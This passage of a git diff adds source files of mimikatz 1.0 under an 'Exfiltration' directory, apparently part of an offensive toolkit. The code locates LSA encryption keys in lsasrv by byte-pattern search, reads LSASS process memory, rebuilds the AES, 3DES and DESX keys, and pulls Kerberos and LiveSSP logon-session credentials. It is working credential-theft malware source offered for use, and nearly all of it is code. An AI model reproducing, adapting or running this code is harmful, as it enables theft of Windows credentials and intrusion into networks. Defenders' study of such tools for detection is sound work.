sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + { + mesSucces++; + *g_pRandomKey = new BYTE[*g_cbRandomKey]; + if(mod_memory::readMemory(ptrBase, *g_pRandomKey, *g_cbRandomKey, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pDESXKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + { + mesSucces++; + *g_pDESXKey = new BYTE[144]; + if(mod_memory::readMemory(ptrBase, *g_pDESXKey, 144, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + } + else (*outputStream) << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl; + return (mesSucces == 6); +} + +bool mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData() +{ + if(g_pRandomKey && *g_pRandomKey) + delete[] *g_pRandomKey; + if(g_pDESXKey && *g_pDESXKey) + delete[] *g_pDESXKey; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h new file mode 100644 index 0000000..121d9c5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h @@ -0,0 +1,17 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_keys_nt5 { + +private: + static PBYTE *g_pRandomKey, *g_pDESXKey; +public: + static bool searchAndInitLSASSData(); + static bool uninitLSASSData(); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp new file mode 100644 index 0000000..ac642ef --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp @@ -0,0 +1,186 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "keys_nt6.h" +#include "..\..\global.h" +HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL; +PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL; +mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL; +BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL; + +BYTE kiwiRandom3DES[24], kiwiRandomAES[16]; + +#ifdef _M_X64 +BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D}; +LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3; +LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3; +LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3; + +BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D}; +LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3; +LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3; +#elif defined _M_IX86 +BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68}; +LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long)); +LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long)); +LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); + +BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68}; +LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long)); +LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long)); +LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); +#endif + +bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData() +{ + if(!hBCrypt) + hBCrypt = LoadLibrary(L"bcrypt"); + + PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY; + ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY; + LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY; + SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); + OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey; +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector; + } + else + { + OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector; + } +#elif defined _M_IX86 + OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector; +#endif + } + else + { + PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY; + SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); + OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey; + OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector; + } + + PBYTE ptrBase = NULL; + DWORD mesSucces = 0; + if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY)) + { +#ifdef _M_X64 + LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4; + PBYTE InitializationVector = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_InitializationVector)); + hAesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey)); + h3DesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey)); + hAesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); + h3DesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); +#elif defined _M_IX86 + PBYTE InitializationVector = *reinterpret_cast<PBYTE * >(ptrBase + OFFS_WNT6_InitializationVector); + hAesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_hAesKey); + h3DesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_h3DesKey); + hAesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2); + h3DesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2); +#endif + if(hBCrypt && LsaInitializeProtectedMemory()) + { + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + + KIWI_BCRYPT_KEY maCle; + KIWI_BCRYPT_KEY_DATA maCleData; + + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes ŕ la fin, la structure de départ n'était pas inutile ;) + mesSucces++; + + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl; + } + else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl; + + return (mesSucces == 3); +} + + +bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData() +{ + if(hBCrypt) + { + LsaCleanupProtectedMemory(); + FreeLibrary(hBCrypt); + } + return true; +} + +bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory() +{ + bool resultat = false; + + PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast<PBCRYPT_OPEN_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider")); + PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast<PBCRYPT_SET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptSetProperty")); + PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast<PBCRYPT_GET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptGetProperty")); + PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast<PBCRYPT_GENERATE_SYMMETRIC_KEY>(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey")); + + if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) && + NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0))) + { + if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) && + NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0))) + { + DWORD DES3KeyLen, AESKeyLen, cbLen; + + if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) && + NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0))) + { + DES3Key = new BYTE[DES3KeyLen]; + AESKey = new BYTE[AESKeyLen]; + + resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) && + NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0)); + } + } + } + return resultat; +} + +bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory() +{ + PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast<PBCRYTP_DESTROY_KEY>(GetProcAddress(hBCrypt, "BCryptDestroyKey")); + PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast<PBCRYTP_CLOSE_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider")); + + if (h3DesKey ) + K_BCryptDestroyKey(*h3DesKey); + if (hAesKey ) + K_BCryptDestroyKey(*hAesKey); + + if (h3DesProvider) + K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0); + if (hAesProvider ) + K_BCryptCloseAlgorithmProvider(*hAesProvider, 0); + + if(DES3Key) + delete[] DES3Key; + if(AESKey) + delete[] AESKey; + + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h new file mode 100644 index 0000000..9b1940a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h @@ -0,0 +1,45 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_keys_nt6 { + +private: + static HMODULE hBCrypt; + + typedef struct _KIWI_BCRYPT_KEY_DATA { + DWORD size; + DWORD tag; + DWORD type; + DWORD unk0; + DWORD unk1; + DWORD unk2; + DWORD unk3; + PVOID unk4; + BYTE data; /* etc... */ + } KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA; + + typedef struct _KIWI_BCRYPT_KEY { + DWORD size; + DWORD type; + PVOID unk0; + PKIWI_BCRYPT_KEY_DATA cle; + PVOID unk1; + } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY; + + static PBYTE DES3Key, AESKey; + static PKIWI_BCRYPT_KEY * hAesKey, * h3DesKey; + static BCRYPT_ALG_HANDLE * hAesProvider, * h3DesProvider; + + static bool LsaInitializeProtectedMemory(); + static bool LsaCleanupProtectedMemory(); + +public: + static bool searchAndInitLSASSData(); + static bool uninitLSASSData(); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp new file mode 100644 index 0000000..dae52d2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp @@ -0,0 +1,135 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kerberos.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL; +mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast<mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION>(NULL); +long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0; +PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL); + +bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getKerberosLogonData, wstring(L"kerberos"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs() +{ +#ifdef _M_X64 + BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d}; + LONG OFFS_WALL_KerbUnloadLogonSessionTable = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); + + BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0x48, 0x3b, 0xfe, 0x0f, 0x84}; + LONG OFFS_WALL_KerbFreeLogonSessionList = -4; +#elif defined _M_IX86 + BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53}; + LONG OFFS_WNO8_KerbUnloadLogonSessionTable = -(3 + 4); + BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC + LONG OFFS_WIN8_KerbUnloadLogonSessionTable = -(6 + 4); + + BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8}; + LONG OFFS_WALL_KerbFreeLogonSessionList = -4; +#endif + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList)) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pointeur= reinterpret_cast<PBYTE *>(&KerbLogonSessionList); + pattern = PTRN_WALL_KerbFreeLogonSessionList; + taille = sizeof(PTRN_WALL_KerbFreeLogonSessionList); + offset = OFFS_WALL_KerbFreeLogonSessionList; + + if(mod_system::GLOB_Version.dwMinorVersion < 2) + offsetMagic = 8; + } + else + { + pointeur= reinterpret_cast<PBYTE *>(&KerbGlobalLogonSessionTable); + +#ifdef _M_X64 + pattern = PTRN_WALL_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); + offset = OFFS_WALL_KerbUnloadLogonSessionTable; +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable); + offset = OFFS_WNO8_KerbUnloadLogonSessionTable; + } + else + { + if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC + PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c; + pattern = PTRN_WIN8_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable); + offset = OFFS_WIN8_KerbUnloadLogonSessionTable; + } +#endif + } + + if(HMODULE monModule = LoadLibrary(L"kerberos")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset); + *pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList)); +} + +bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchKerberosFuncs()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + DWORD taille; + BYTE * monBuff = NULL; + + if(KerbGlobalLogonSessionTable) + { + taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL); + monBuff = new BYTE[taille]; + + if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(monBuff); + mesCreds = &pLogSession->credentials; + } + } + } + else + { + taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic; + monBuff = new BYTE[taille]; + if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId))) + { + if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(monBuff); + if(offsetMagic != 0) + pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(reinterpret_cast<PBYTE>(pLogSession) + offsetMagic); + mesCreds = &pLogSession->credentials; + } + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); + delete [] monBuff; + } + else (*outputStream) << L"n.a. (kerberos KO)"; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h new file mode 100644 index 0000000..1418d4f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h @@ -0,0 +1,70 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_kerberos { + +private: + typedef struct _KIWI_KERBEROS_LOGON_SESSION + { + struct _KIWI_KERBEROS_LOGON_SESSION *Flink; + struct _KIWI_KERBEROS_LOGON_SESSION *Blink; + DWORD UsageCount; + PVOID unk0; + PVOID unk1; + PVOID unk2; + DWORD unk3; + DWORD unk4; + PVOID unk5; + PVOID unk6; + PVOID unk7; + LUID LocallyUniqueIdentifier; + #ifdef _M_IX86 + DWORD unk8; + #endif + DWORD unk9; + DWORD unk10; + PVOID unk11; + DWORD unk12; + DWORD unk13; + PVOID unk14; + PVOID unk15; + PVOID unk16; + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_KERBEROS_LOGON_SESSION, *PKIWI_KERBEROS_LOGON_SESSION; + + typedef struct _KIWI_KERBEROS_PRIMARY_CREDENTIAL + { + DWORD unk0; + PVOID unk1; + PVOID unk2; + PVOID unk3; + #ifdef _M_X64 + BYTE unk4[32]; + #elif defined _M_IX86 + BYTE unk4[20]; + #endif + LUID LocallyUniqueIdentifier; + #ifdef _M_X64 + BYTE unk5[44]; + #elif defined _M_IX86 + BYTE unk5[36]; + #endif + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_KERBEROS_PRIMARY_CREDENTIAL, *PKIWI_KERBEROS_PRIMARY_CREDENTIAL; + + static PKIWI_KERBEROS_LOGON_SESSION KerbLogonSessionList; + static long offsetMagic; + static PRTL_AVL_TABLE KerbGlobalLogonSessionTable; + static bool searchKerberosFuncs(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModKERBEROS; + static bool getKerberos(vector<wstring> * arguments); + static bool WINAPI getKerberosLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp new file mode 100644 index 0000000..7f64678 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp @@ -0,0 +1,70 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "livessp.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_livessp::pModLIVESSP = NULL; +mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY mod_mimikatz_sekurlsa_livessp::LiveGlobalLogonSessionList = NULL;//reinterpret_cast<mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY>(NULL); + +bool mod_mimikatz_sekurlsa_livessp::getLiveSSP(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getLiveSSPLogonData, wstring(L"livessp"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_livessp::searchLiveGlobalLogonSessionList() +{ +#ifdef _M_X64 + BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x48, 0x83, 0x65, 0xdf, 0x00, 0x48, 0x83, 0x65, 0xef, 0x00, 0x48, 0x83, 0x65, 0xe7, 0x00}; +#elif defined _M_IX86 + BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x89, 0x5d, 0xdc, 0x89, 0x5d, 